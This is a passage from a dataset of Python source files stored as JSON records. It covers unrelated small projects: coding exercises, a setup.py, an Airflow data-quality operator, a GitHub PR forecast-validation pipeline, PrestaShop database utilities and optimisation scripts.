make.temp(temperature_func, max_iter=800),\n stuck=stuck\n )\n whole_history.append(np.array(list(map(lambda x: x[0], history))))\n history.clear()\n sensors = bit.to_sensors(sol)\n whole_history = np.array(whole_history).T #transpose\n df = pd.DataFrame(whole_history, columns=[\n 'exp '+str(i) for i in range(1, mean_nb+1)]).stack().reset_index().drop(columns='level_1')\n dataframes.append(df)\n # sns.lineplot(data=df, x=\"level_0\", y=0)\n\nwith open('dataframes_init_high_bit_varstuck.pickle', 'wb') as handle:\n pickle.dump(dataframes, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n# plt.show()\n","sub_path":"analysis/variying_sa_cst_bit_stuck.py","file_name":"variying_sa_cst_bit_stuck.py","file_ext":"py","file_size_in_byte":2695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"515079667","text":"#Kata Basic Python - Ejercicio 9\n\n\"\"\"\nEscribir un programa que pregunte al usuario una \ncatidad a invertir, el interés porcentual anual y el \nnúmero de años, y mueste por pantalla el capital \nobtenido en la inversion redondeando con dos \ndecimales\n\"\"\"\n\ninv = float(input(\"Cantidad a invertir: \"))\ninterest = float(input(\"Interés anual(%): \"))\nyears = int(input(\"Durante cuantos años: \"))\n\ntotal = round(inv * (interest /100 + 1 ) ** years,2)\n\nprint(\"Capital total: \", total)\n\n\n\n","sub_path":"09Kata.py","file_name":"09Kata.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"134031571","text":"import os\r\nfrom setuptools import setup\r\n\r\n\r\ndef read(fname):\r\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\r\n\r\nsetup(\r\n name=\"lctv-client\",\r\n version=\"0.0.1\",\r\n author=\"Joel Taddei\",\r\n author_email=\"jtaddei@gmail.com\",\r\n description=(\"A client for accessing the livecoding.tv API\"),\r\n license=\"BSD\",\r\n keywords=\"client livecoding api\",\r\n url=\"http://github.com/taddeimania/lctv-client\",\r\n packages=['lctv', 'tests'],\r\n test_suite=\"tests\",\r\n install_requires=['requests', 'nose', 'coverage'],\r\n long_description=read('README.md'),\r\n classifiers=[\r\n \"Topic :: Internet\",\r\n \"Intended Audience :: Developers\",\r\n \"Development Status :: 3 - Alpha\",\r\n \"Programming Language :: Python\",\r\n \"Programming Language :: Python :: 3.4\",\r\n \"Topic :: Utilities\",\r\n \"License :: OSI Approved :: BSD License\",\r\n ],\r\n)\r\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"262042028","text":"from typing import List\nfrom os.path import basename\n\n\ndef finder2(files, queries):\n \"\"\"\n Given a list of files and a list of queries, return the files that contain the queries\n\n Make a dict in which the keys are the last part of the path (file), values the whole path (file).\n Then go through list of queries and look them up in the dict. If an entry exists, append\n the value to the result.\n \"\"\"\n\n files_dict = dict()\n for file in files:\n file_split = file.split('/')\n # print(file_split)\n desired = file_split[-1]\n # print(desired)\n if desired not in files_dict:\n files_dict[desired] = [file]\n else:\n files_dict[desired].append(file)\n # print(files_dict)\n\n result = []\n for query in queries:\n if query in files_dict:\n result.append(files_dict[query])\n # print(result)\n result = [val for sublist in result for val in sublist]\n return result\n\n\ndef finder(files: List[str], queries: List[str]):\n # Here is an alternate implementation. For this version, the lookup element is the queries, not the files.\n\n # The challenge states that dictionaries must be used and not sets.\n # If it didn't say that, I'd use a set here instead of a dictionary:\n queries_dict = {}\n output = []\n for query in queries:\n queries_dict[query] = True\n\n for file in files:\n if get_end_of_path(file) in queries_dict:\n output.append(file)\n return output\n\n# Two additional ways to get the end of the path of the files:\n\n\ndef get_end_of_path(filename: str) -> str:\n index = filename.rfind('/')\n if index == -1:\n return filename\n return filename[index+1:]\n\n\ndef get_end_of_path2(filename: str) -> str:\n return basename(filename)\n\n\nif __name__ == \"__main__\":\n files = [\n '/bin/foo',\n '/bin/bar',\n '/usr/bin/baz'\n ]\n queries = [\n \"foo\",\n \"qux\",\n \"baz\"\n ]\n print(finder(files, queries))\n","sub_path":"hashtables/ex5/ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"181179060","text":"\nimport requests\n\ndef FetchAuth():\n\tbaseUrl = 'https://graph.facebook.com/'\n\tsubUrl = 'oauth/device'\n\t\n\tpayload = \\\n\t{\n\t\t'type' : 'device_code',\n\t\t'client_id' : 467075373468891,\n\t\t'scope' : 'user_events'\n\t}\n\t\n\tresponse = requests.post( baseUrl + subUrl, params = payload )\n\t\n\treturn response.text\n\ndef stuff():\n\ttry:\n\t\treturn FetchAuth()\n\texcept requests.exceptions.RequestException as e:\n\t\treturn str( e )","sub_path":"GAE/dan.py","file_name":"dan.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"8484974","text":"import logging\n\nfrom airflow.utils.decorators import apply_defaults\nfrom airflow.models import BaseOperator\nfrom airflow.hooks.base_hook import BaseHook\nfrom airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.hooks.mysql_hook import MySqlHook\nfrom airflow.hooks.hive_hooks import HiveServer2Hook\nfrom airflow import AirflowException\n\nclass BaseDataQualityOperator(BaseOperator):\n \"\"\"\n BaseDataQualityOperator is an abstract base operator class to\n perform data quality checks\n\n :param sql: sql (or path to sql) code to be executed\n :type sql: str\n :param conn_type: database type\n :type conn_type: str\n :param conn_id: connection id of database\n :type conn_id: str\n :param push_conn_type: (optional) external database type\n :type push_conn_type: str\n :param push_conn_id: (optional) connection id of external database\n :type push_conn_id: str\n :param check_description: (optional) description of data quality sql statement\n :type check_description: str\n \"\"\"\n\n template_fields = ('sql',)\n template_ext = ('.sql',)\n\n @apply_defaults\n def __init__(self,\n sql,\n conn_id,\n push_conn_id=None,\n check_description=None,\n *args,\n **kwargs\n ):\n super().__init__(*args, **kwargs)\n self.conn_id = conn_id\n self.push_conn_id = push_conn_id\n self.sql = sql\n self.check_description = check_description\n\n def execute(self, context):\n \"\"\"Method where data quality check is performed \"\"\"\n raise NotImplementedError\n\n def push(self, info_dict):\n \"\"\"Send data check info and metadata to an external database.\"\"\"\n pass\n\n def send_failure_notification(self, info_dict):\n \"\"\"\n send_failure_notification will throw an AirflowException with logging \n information and dq check results from the failed task that was just run.\n \"\"\"\n body = f\"\"\"Data Quality Check: \"{info_dict.get(\"task_id\")}\" failed.\nDAG: {self.dag_id}\nTask_id: {info_dict.get(\"task_id\")}\nCheck description: {info_dict.get(\"description\")}\nExecution date: {info_dict.get(\"execution_date\")}\nSQL: {self.sql}\nResult: {round(info_dict.get(\"result\"), 2)} is not within thresholds {info_dict.get(\"min_threshold\")} and {info_dict.get(\"max_threshold\")}\"\"\"\n raise AirflowException(body)\n\ndef _get_hook(conn_id):\n \"\"\"\n _get_hook is a helper function for get_sql_value. Returns a database\n hook depending on the conn_type and conn_id specified. Method will raise\n an exception if hook is not supported.\n \"\"\"\n\n conn_type = BaseHook.get_connection(conn_id).conn_type\n if conn_type == \"postgres\":\n return PostgresHook(postgres_conn_id=conn_id)\n if conn_type == \"mysql\":\n return MySqlHook(mysql_conn_id=conn_id)\n if conn_type == \"hive\":\n return HiveServer2Hook(hiveserver2_conn_id=conn_id)\n else:\n raise ValueError(f\"\"\"Connection type of \"{conn_type}\" not currently supported\"\"\")\n\ndef get_sql_value(conn_id, sql):\n \"\"\"\n get_sql_value executes a sql query given proper connection parameters.\n The result of the sql query should be one and only one numeric value.\n \"\"\"\n hook = _get_hook(conn_id)\n result = hook.get_records(sql)\n if len(result) > 1:\n logging.info(\"Result: %s contains more than 1 entry\", str(result))\n raise ValueError(\"Result from sql query contains more than 1 entry\")\n if len(result) < 1:\n raise ValueError(\"No result returned from sql query\")\n if len(result[0]) != 1:\n logging.info(\"Result: %s does not contain exactly 1 column\", str(result[0]))\n raise ValueError(\"Result from sql query does not contain exactly 1 column\")\n return result[0][0]\n","sub_path":"plugins/base_data_quality_operator.py","file_name":"base_data_quality_operator.py","file_ext":"py","file_size_in_byte":3804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"129061930","text":"from __future__ import annotations\nfrom typing import Any, Iterable, Optional, Callable\nfrom github.File import File\nfrom github.Label import Label\nimport dataclasses\nimport inspect\nimport logging\nimport os\n\nfrom github.PullRequest import PullRequest\n\nfrom forecast_validation import (\n PullRequestFileType,\n VALIDATIONS_VERSION\n)\n\nlogger = logging.getLogger(\"hub-validations\")\n\n@dataclasses.dataclass(frozen=True)\nclass ValidationStepResult:\n \"\"\"\n Data class to store the result of a validation step. The `success` field\n is required for initialization.\n\n See https://docs.python.org/3.9/library/dataclasses.html?highlight=dataclasses\n for how data classes work.\n\n Fields:\n success: True if the step does not contain validation errors, False if\n it does\n to_store: a dictionary containing artifacts that subsequent validation\n step(s) may use\n forecast_files: a set of forecast file paths that subsequent validation\n step(s) may use to validation individually\n label: a set of PyGithub Label objects that this validation step wants\n to apply to the PR that triggered the validation run, if applicable\n comments: a list of comments that this validation step wants to apply\n to the PR that triggered the validation run, if applicable\n errors: a dictionary that contains any and all possible validation\n error(s) that are specific to forecast files; keyed by file path\n \"\"\"\n success: bool\n skip_steps_after: bool = False\n to_store: Optional[dict[str, Any]] = None\n forecast_files: Optional[set[os.PathLike]] = None\n labels: Optional[set[Label]] = None\n comments: Optional[list[str]] = None\n file_errors: Optional[dict[os.PathLike, list[str]]] = None\n\nclass ValidationStep:\n @staticmethod\n def check_logic(logic: Optional[Callable]) -> None:\n if logic is not None and not isinstance(logic, Callable):\n raise TypeError(\"logic must be a Callable (i.e., function)\")\n\n def __init__(self, logic: Optional[Callable] = None) -> None:\n ValidationStep.check_logic(logic)\n self._executed: bool = False\n self._result: Optional[ValidationStepResult] = None\n self._logic: Optional[Callable] = logic\n\n @property\n def executed(self) -> bool:\n return self._executed\n\n @property\n def success(self) -> Optional[bool]:\n return None if self._result is None else self._result.success\n\n @property\n def result(self) -> Optional[ValidationStepResult]:\n return self._result\n\n @property\n def has_logic(self) -> bool:\n return self._logic is not None\n\n @property\n def logic(self) -> Optional[Callable]:\n return self._logic\n\n def set_logic(self, new_logic: Optional[Callable]) -> None:\n \"\"\"Sets or clears the logic of the validation step.\n\n If None is given, then the logic is cleared. Otherwise,\n the given logic is assigned to the validation step.\n\n Args:\n logic: \n \"\"\"\n ValidationStep.check_logic(new_logic) \n self._logic = new_logic\n\n def execute(self, store: dict[str, Any]) -> ValidationStepResult:\n if self._logic is None:\n raise RuntimeError(\"validation step has no logic\")\n else:\n needs_store: bool = (\n \"store\" in set(inspect.signature(self._logic).parameters)\n )\n\n if needs_store:\n result = self._logic(store=store)\n else:\n result = self._logic()\n\n\n self._executed = True\n self._result = result\n if not isinstance(result, ValidationStepResult):\n raise RuntimeError(\"validation step result type mismatch\")\n\n return result\n \n\nclass ValidationPerFileStep(ValidationStep):\n\n def check_logic(logic: Callable) -> None:\n ValidationStep.check_logic(logic)\n \n parameters = set(inspect.signature(logic).parameters)\n if \"files\" not in parameters:\n raise ValueError((\n \"per-file validation step must contain logic that takes \"\n \"a parameter called `files` on which to run the per-file \"\n \"logic\"\n ))\n\n def execute(\n self,\n store: dict[str, Any],\n files: set[os.PathLike]\n ) -> ValidationStepResult:\n if self._logic is None:\n raise RuntimeError(\"validation step has no logic\")\n else:\n parameters = set(inspect.signature(self._logic).parameters)\n if \"store\" in parameters:\n result = self._logic(store=store, files=files)\n else:\n result = self._logic(files=files)\n\n self._executed = True\n self._result = result\n if not isinstance(result, ValidationStepResult):\n raise RuntimeError(\"validation step result type mismatch\")\n\n return result\n\nclass ValidationRun:\n def __init__(\n self,\n steps: list[ValidationStep] = []\n ) -> None:\n self._steps: list[ValidationStep] = steps\n self._forecast_files: set[os.PathLike] = set()\n self._store: dict[str, Any] = {}\n\n def run(self):\n for step in self._steps:\n assert isinstance(step, ValidationStep), step\n\n if isinstance(step, ValidationPerFileStep):\n result: ValidationStepResult = step.execute(\n self._store, self._forecast_files\n )\n else:\n result: ValidationStepResult = step.execute(self._store)\n \n if result.to_store is not None:\n self._store |= result.to_store\n elif result.forecast_files is not None:\n self._forecast_files |= result.forecast_files\n\n if result.skip_steps_after:\n # get corresponding pr\n pull_request: PullRequest = self._store[\"pull_request\"]\n # get labels\n labels = result.labels\n # append labels to pr\n if len(labels) > 0:\n logger.info(\"Labels to be applied: %s\", str(labels))\n pull_request.set_labels(*list(labels))\n else:\n logger.info(\"No labels to be applied\")\n \n logger.info(\"Skipping the rest of validation steps\")\n break\n\n # apply labels, comments, and errors to pull request\n # if applicable\n if (\n \"pull_request\" in self._store and\n \"filtered_files\" in self._store and\n \"possible_labels\" in self._store\n ): \n self._upload_results_to_pull_request_and_automerge_check()\n\n @property\n def store(self) -> dict[str, Any]:\n return self._store\n\n @property\n def validation_steps(self) -> list[ValidationStep]:\n return self._steps\n\n @property\n def executed_steps(self) -> Iterable[ValidationStep]:\n \"\"\"The steps that were executed during this run.\n\n Returns:\n an iterator that iterates over all executed steps in this\n run.\n \"\"\"\n return filter(lambda s: s.executed, self._steps)\n\n @property\n def success(self) -> bool:\n return all(\n [s.success for s in self.executed_steps]\n )\n\n def _upload_results_to_pull_request_and_automerge_check(self):\n pull_request: PullRequest = self._store[\"pull_request\"]\n filtered_files: dict[PullRequestFileType, list[File]] = (\n self._store[\"filtered_files\"]\n )\n all_labels: dict[str, Label] = self._store[\"possible_labels\"]\n \n # if true, add additional automerge PR label\n automerge: bool = self._store[\"AUTOMERGE\"]\n\n # merge all labels, comments, and errors generated at each step\n labels: set[Label] = set()\n comments: list[str] = []\n errors: dict[os.PathLike, list[str]] = {}\n for step in self.executed_steps:\n if step.result.labels is not None:\n labels |= step.result.labels\n if step.result.comments is not None:\n comments.extend(step.result.comments)\n if step.result.file_errors is not None:\n for filepath in step.result.file_errors:\n if filepath in errors:\n errors[filepath].extend(\n step.result.file_errors[filepath]\n )\n else:\n errors[filepath] = (\n step.result.file_errors[filepath].copy()\n )\n\n no_errors: bool = len(errors) == 0\n has_non_csv_or_metadata: bool = (\n len(filtered_files.get(PullRequestFileType.METADATA, [])) +\n len(filtered_files.get(PullRequestFileType.OTHER_NONFS, []))\n ) != 0\n only_one_forecast_csv: bool = (\n len(filtered_files.get(PullRequestFileType.FORECAST, [])) == 1\n )\n all_csvs_in_correct_location: bool = (\n len(filtered_files.get(PullRequestFileType.OTHER_FS, [])) == 0\n )\n\n if (len(labels) == 1 and\n all_labels[\"data-submission\"] in labels and\n no_errors and \n not has_non_csv_or_metadata and \n all_csvs_in_correct_location and\n only_one_forecast_csv\n ):\n if automerge:\n logger.info(\"PR %s can be automerged\", pull_request.number)\n labels.add(all_labels['automerge'])\n\n if self.success:\n # note: covid hub will also have this tag when a PR passed validation\n labels.add(all_labels['passed-validation'])\n pull_request.create_issue_comment(\n f\"Validations v{VALIDATIONS_VERSION}\\n\\n\"\n \"Errors: \\n\\n\"\n \"✔️ No validation errors in this PR.\"\n )\n else:\n error_comment = (\n f\"Validations v{VALIDATIONS_VERSION}\\n\\n\"\n \"Errors: \\n\\n\"\n \"❌ There are errors in this PR. \\n\\n\"\n )\n for path in errors:\n error_comment += f\"**{path}**:\\n\"\n for error in errors[path]:\n error_comment += f\"{error}\\n\"\n error_comment += \"\\n\"\n pull_request.create_issue_comment(error_comment.rstrip())\n \n # apply labels, comments, and errors (if any) to pull request on GitHub\n if len(labels) > 0:\n logger.info(\"Labels to be applied: %s\", str(labels))\n pull_request.set_labels(*list(labels))\n else:\n logger.info(\"No labels to be applied\")\n if len(comments) > 0:\n pull_request.create_issue_comment(\n f\"### Validations v{VALIDATIONS_VERSION}\\n\\nComments:\\n\\n\"\n + \"\\n\\n\".join(comments)\n )\n","sub_path":"forecast_validation/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":11001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"176797001","text":"class Tree:\r\n class Node:\r\n def __init__(self, data):\r\n self.data = data\r\n self.left = None\r\n self.right = None\r\n\r\n def __init__(self, data_root):\r\n self.root = Tree.Node(data_root)\r\n\r\n def insert(self, data, dad, right=True):\r\n if self.root.data == dad:\r\n if right and self.root.right is None:\r\n self.root.right = Tree(data)\r\n elif not right and self.root.left is None:\r\n self.root.left = Tree(data)\r\n else:\r\n if self.root.right is not None:\r\n self.root.right.insert(data, dad)\r\n if self.root.left is not None:\r\n self.root.left.insert(data, dad)\r\n\r\n def __str__(self):\r\n left = \"\"\r\n right = \"\"\r\n if self.root.left is not None:\r\n branch = self.root.left.root\r\n if branch.left is not None:\r\n left += str(branch.left) + \" \"\r\n left += str(branch.data)\r\n if branch.right is not None:\r\n left += \" \" + str(branch.right)\r\n\r\n if self.root.right is not None:\r\n branch = self.root.right.root\r\n if branch.left is not None:\r\n right += str(branch.left) + \" \"\r\n left += str(branch.data)\r\n if branch.right is not None:\r\n left += \" \" + str(branch.right)\r\n\r\n return left + \" \" + str(self.root.data) + \" \" + right\r\n\r\n\r\ntree = Tree(\"Wilkinson\")\r\ntree.insert(\"Joaquina\", \"Wilkinson\", False)\r\ntree.insert(\"Sufranio\", \"Wilkinson\")\r\ntree.insert(\"Eustaquia\", \"Joaquina\", False)\r\ntree.insert(\"Florinda\", \"Eustaquia\", False)\r\ntree.insert(\"Eustaquio\", \"Joaquina\")\r\ntree.insert(\"Jovín\", \"Eustaquio\")\r\ntree.insert(\"Piolina\", \"Sufranio\", False)\r\ntree.insert(\"Piolin\", \"Sufranio\")\r\ntree.insert(\"Wilberta\", \"Piolina\", False)\r\ntree.insert(\"Usnavy\", \"Piolin\")\r\nprint(tree)\r\n","sub_path":"talleres/taller10/Tree.py","file_name":"Tree.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"188388659","text":"\"\"\"affaire urgente\n\nRevision ID: cd2fb3237edb\nRevises: aefafb13d2ce\nCreate Date: 2021-07-06 07:59:29.055430\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'cd2fb3237edb'\ndown_revision = 'aefafb13d2ce'\nbranch_labels = None\ndepends_on = None\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('affaire', sa.Column('urgent', sa.Boolean(), nullable=True))\n op.add_column('affaire', sa.Column('urgent_echeance', sa.Date(), nullable=True))\n # ### end Alembic commands ###\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('affaire', 'urgent_echeance')\n op.drop_column('affaire', 'urgent')\n # ### end Alembic commands ###\n","sub_path":"back/infolica/alembic/versions/20210706_cd2fb3237edb.py","file_name":"20210706_cd2fb3237edb.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"456498439","text":"#!/usr/bin/python3\ndef no_c(my_string):\n newlist = list(my_string)\n for i in newlist:\n try:\n upperletter = newlist.index('c')\n except ValueError:\n upperletter = -1\n try:\n lowerletter = newlist.index('C')\n except ValueError:\n lowerletter = -1\n\n if upperletter != -1:\n newlist.pop(upperletter)\n if lowerletter != -1:\n newlist.pop(lowerletter)\n\n newnewlist = ''.join(newlist)\n return newnewlist\n","sub_path":"0x03-python-data_structures/5-no_c.py","file_name":"5-no_c.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"653070317","text":"import utils as u\nimport transformer as t\nimport model as m\nimport queries as queries\n\ndef db_init(c, db=None):\n try:\n q = 'ALTER TABLE `prstshp_product` ADD COLUMN `proc_status` INT(1) DEFAULT -1'\n c.execute(q)\n if db != None:\n db.commit()\n except Exception:\n return\n\ndef get_products(c, proc_statuses: [m.ProcStatus] = None, additional_query = ''):\n q = queries.GET_PRODUCTS_QUERY.format(queries.PRODUCT_FIELDS_SQL + ', ' + queries.PRODUCT_LANG_FIELDS_SQL)\n if proc_statuses != None:\n statuses_string = ', '.join(['\\\"' + str(s.value) + '\\\"' for s in proc_statuses])\n q += f' AND p.proc_status in ({statuses_string})'\n else:\n q += f' AND p.proc_status is null'\n\n q += ' ' + additional_query\n q += ' ORDER BY p.date_add desc'\n c.execute(q)\n return list([t.to_product(row) for row in c.fetchall()])\n\ndef get_mother_products(c, additional_query = ''):\n return get_products(c, [m.ProcStatus.MOTHER], additional_query = additional_query)\n\ndef get_unique_products(c, additional_query = ''):\n return get_products(c, [m.ProcStatus.UNIQUE], additional_query = additional_query)\n\ndef get_products_to_process(c, additional_query = ''):\n return get_products(c, [m.ProcStatus.UNIQUE, m.ProcStatus.NOT_PROCESSED], additional_query = additional_query)\n\ndef mark_product_as_inactive(c, product_id):\n q = 'UPDATE `prstshp_product` SET `active`=0, `state`=0 WHERE `id_product`=' + str(product_id)\n c.execute(q)\n\ndef set_product_proc_status(c, product_id, status: m.ProcStatus):\n q = f'UPDATE `prstshp_product` SET `proc_status`={status.value} WHERE `id_product`={str(product_id)}'\n c.execute(q)\n\ndef find_mother_for_product(c, product):\n if len(product.references) == 0:\n return None # We can not find mother if there are no refs\n main_ref = product.references[0]\n q = f'AND p.reference like \\\"{main_ref}%\\\"'\n potential_mothers = get_products(c, [m.ProcStatus.MOTHER, m.ProcStatus.UNIQUE], additional_query=q)\n if len(potential_mothers) == 0:\n return None\n elif len(potential_mothers) > 1:\n raise Exception(f\"Two or more mothers found for product with id: {product.id_product}\")\n else:\n return potential_mothers[0]\n\ndef find_siblings_for_product(c, product):\n potential_siblings = get_products_to_process(c)\n found_siblings = u.get_siblings_products_for_product(product, potential_siblings)\n return found_siblings\n\ndef find_attribute_id_by_name(c, name):\n names = [name.lower(), name.upper(), name.capitalize()]\n names = ','.join(['\\'' + n + '\\'' for n in names])\n q = f'SELECT id_attribute FROM `prstshp_attribute_lang` WHERE name IN ({names})'\n c.execute(q)\n r = c.fetchall()\n r = r[0][0] if len(r) == 1 else None\n return r\n\ndef merge_product_to_mother(c, product, mother):\n #TODO - move data from product to combinations\n main_product_ref = product.references[0]\n product_options = product.references[1:]\n \ndef save_mother(c, mother: m.Mother, db=None):\n mother.redirect_type = '301-category'\n mother_id = insert_product(c, mother, db=db)\n mother.id_product = mother_id\n insert_product_lang(c, mother, db=db)\n insert_product_shop(c, mother, db=db)\n insert_category_product(c, mother, db=db)\n return mother_id\n\ndef save_combinations(c, mother_product, source, siblings, db=None, mappings={}):\n for i, p in enumerate(([source] + siblings)):\n product_attribute_id = insert_product_attribute(c, p, db=db, default_on_value=(1 if i == 0 else None), mom_id = mother_product.id_product)\n insert_product_attribute_shop(c, p, db=db, product_attribute_id=product_attribute_id, default_on_value=(1 if i == 0 else None), mom_id = mother_product.id_product)\n insert_stock_available(c, db=db, mother_id=mother_product.id_product, product_attribute_id=product_attribute_id, product_id=p.id_product)\n for i, ref in enumerate(p.references[1:]):\n found_mapping = None\n for k, v in mappings[i+1].items():\n if v == ref:\n found_mapping = k\n if found_mapping == None:\n raise Exception(f'Could not find attribute mapping for ref: {ref}')\n attribute_id = find_attribute_id_by_name(c, found_mapping)\n if attribute_id == None:\n raise Exception(f'Could not find attribute id for mapping: {found_mapping}')\n insert_product_attribute_combination(c, db=db, attribute_id=attribute_id, product_attribute_id=product_attribute_id)\n\ndef insert_product(c, product, db=None):\n product_fields_without_id = m.PRODUCT_FIELDS.copy()\n product_fields_without_id.remove('id_product')\n product_sql_fields_without_id = str(queries.PRODUCT_FIELDS_SQL_INSERT).replace('`p.id_product`,', '').replace('p.', '')\n\n values = t.to_db_values(product, product_fields_without_id)\n q = queries.INSERT_PRODUCT_QUERY.format(product_sql_fields_without_id, values)\n c.execute(q)\n if db != None:\n db.commit()\n return c.lastrowid\n\ndef insert_product_lang(c, product_lang, db=None):\n product_lang_fields_with_id = m.PRODUCT_LANG_FIELDS.copy()\n product_lang_fields_with_id.append('id_product')\n product_lang_sql_fields_without_id = str(queries.PRODUCT_LANG_FIELDS_SQL_INSERT).replace('p_lang.', '')\n \n values = t.to_db_values(product_lang, product_lang_fields_with_id)\n q = queries.INSERT_PRODUCT_LANG_QUERY.format(product_lang_sql_fields_without_id, values)\n c.execute(q)\n if db != None:\n db.commit()\n return c.lastrowid\n\ndef insert_product_shop(c, product_shop, db=None):\n product_shop_fields_with_id = m.PRODUCT_SHOP_FIELDS.copy()\n product_shop_sql_fields_without_id = str(queries.PRODUCT_SHOP_FIELDS_SQL_INSERT).replace('p_shop.', '')\n \n values = t.to_db_values(product_shop, product_shop_fields_with_id)\n q = queries.INSERT_PRODUCT_SHOP_QUERY.format(product_shop_sql_fields_without_id, values)\n c.execute(q)\n if db != None:\n db.commit()\n return c.lastrowid\n\ndef insert_product_attribute(c, product_attribute, db=None, default_on_value=None, mom_id=None):\n product_shop_fields_with_id = m.PRODUCT_ATTRIBUTE_FIELDS.copy()\n product_shop_sql_fields_without_id = str(queries.PRODUCT_ATTRIBUTE_FIELDS_SQL_INSERT).replace('p_atr.', '')\n \n values = t.to_db_values(product_attribute, product_shop_fields_with_id, defaults={'unit_price_impact': 0, 'default_on': default_on_value, 'id_product': mom_id})\n q = queries.INSERT_PRODUCT_ATTRIBUTE_QUERY.format(product_shop_sql_fields_without_id, values)\n c.execute(q)\n if db != None:\n db.commit()\n return c.lastrowid\n\ndef insert_product_attribute_shop(c, product_attribute_shop, db=None, default_on_value=None, product_attribute_id=None, mom_id=None):\n product_shop_fields_with_id = m.PRODUCT_ATTRIBUTE_SHOP_FIELDS.copy()\n product_shop_sql_fields_without_id = str(queries.PRODUCT_ATTRIBUTE_SHOP_FIELDS_SQL_INSERT).replace('p_atr_shop.', '')\n \n values = t.to_db_values(product_attribute_shop, product_shop_fields_with_id, defaults={'unit_price_impact': 0, 'default_on': default_on_value, 'id_product_attribute': product_attribute_id, 'id_product': mom_id})\n q = queries.INSERT_PRODUCT_ATTRIBUTE_SHOP_QUERY.format(product_shop_sql_fields_without_id, values)\n c.execute(q)\n if db != None:\n db.commit()\n return c.lastrowid\n\ndef insert_product_attribute_combination(c, attribute_id, product_attribute_id, db=None):\n q = f'INSERT INTO `prstshp_product_attribute_combination` (`id_attribute`, `id_product_attribute`) VALUES (\\'{attribute_id}\\', \\'{product_attribute_id}\\')'\n c.execute(q)\n if db != None:\n db.commit()\n return c.lastrowid\n\ndef insert_stock_available(c, db=None, product_id=None, product_attribute_id=None, mother_id=None):\n q = f'SELECT quantity FROM `prstshp_stock_available` WHERE id_product={product_id} AND id_product_attribute=0'\n c.execute(q)\n quantity = c.fetchall()\n quantity = quantity[0][0] if len(quantity) == 1 else None\n q = f'INSERT INTO `prstshp_stock_available` (`id_product`, `id_product_attribute`, `quantity`, `id_shop`, `id_shop_group`) VALUES (\\'{mother_id}\\', \\'{product_attribute_id}\\', \\'{quantity}\\', 1, 0)'\n c.execute(q)\n if db != None:\n db.commit()\n\ndef insert_category_product(c, mother, db=None):\n q = f'SELECT COUNT(*) FROM `prstshp_category_product` WHERE id_category={mother.id_category_default}'\n c.execute(q)\n count = c.fetchall()\n count = count[0][0] if len(count) == 1 else None\n q = f'INSERT INTO `prstshp_category_product` (id_category, id_product, position) VALUES (\\'{mother.id_category_default}\\', \\'{mother.id_product}\\', \\'{count + 1}\\')'\n c.execute(q)","sub_path":"sql_utils.py","file_name":"sql_utils.py","file_ext":"py","file_size_in_byte":8764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"253901699","text":"#!/usr/bin/env python3.7\n\n# Copyright 2021, Gurobi Optimization, LLC\n\n# This example formulates and solves the following simple MIP model\n# using the matrix API:\n# maximize\n# x + y + 2 z\n# subject to\n# x + 2 y + 3 z <= 4\n# x + y >= 1\n# x, y, z binary\n\nimport gurobipy as gp\nfrom gurobipy import GRB\nimport numpy as np\nimport scipy.sparse as sp\n\ndef linear_expression(A, b, x, tol=1.e-9):\n \"\"\"\n Generates a list of Gurobi linear expressions A_i x + b_i (one element per row of A).\n Arguments\n ----------\n A : numpy.ndarray\n Linear term.\n b : numpy.ndarray\n Offest term.\n x : instance of gurobipy.Var\n Variable of the linear expression.\n tol : float\n Maximum absolute value for the elements of A and b to be considered nonzero.\n Returns\n ----------\n exprs : list of gurobipy.LinExpr\n List of linear expressions.\n \"\"\"\n\n # linear term (explicitly state that it is a LinExpr since it can be that A[i] = 0)\n exprs = [gp.LinExpr(sum([A[i,j]*x[j] for j in range(A.shape[1]) if np.abs(A[i,j]) > tol])) for i in range(A.shape[0])]\n\n # offset term\n exprs = [expr+b[i] if np.abs(b[i]) > tol else expr for i, expr in enumerate(exprs)]\n\n return exprs\n\ndef quadratic_expression(H, x, d, tol=1.e-9):\n \"\"\"\n Generates a Gurobi quadratic expressions x' H x.\n Arguments\n ----------\n H : numpy.ndarray\n Hessian of the quadratic expression.\n x : instance of gurobipy.Var\n Variable of the linear expression.\n d : constant\n tol : float\n Maximum absolute value for the elements of H to be considered nonzero.\n Returns\n ----------\n expr : gurobipy.LinExpr\n Quadratic expressions.\n \"\"\"\n\n return sum([ (x[i]-d[i] ) * H[i,j] * (x[j] - d[j]) for i, j in np.ndindex(H.shape) if np.abs(H[i,j]) > tol])\n\n\n\n\ntry:\n \n n = 4\n m = 2\n k = 1\n TUT = n+m+k\n G = np.eye(TUT)\n cons = 5*np.ones((TUT,1))\n M = 1000 #big-M 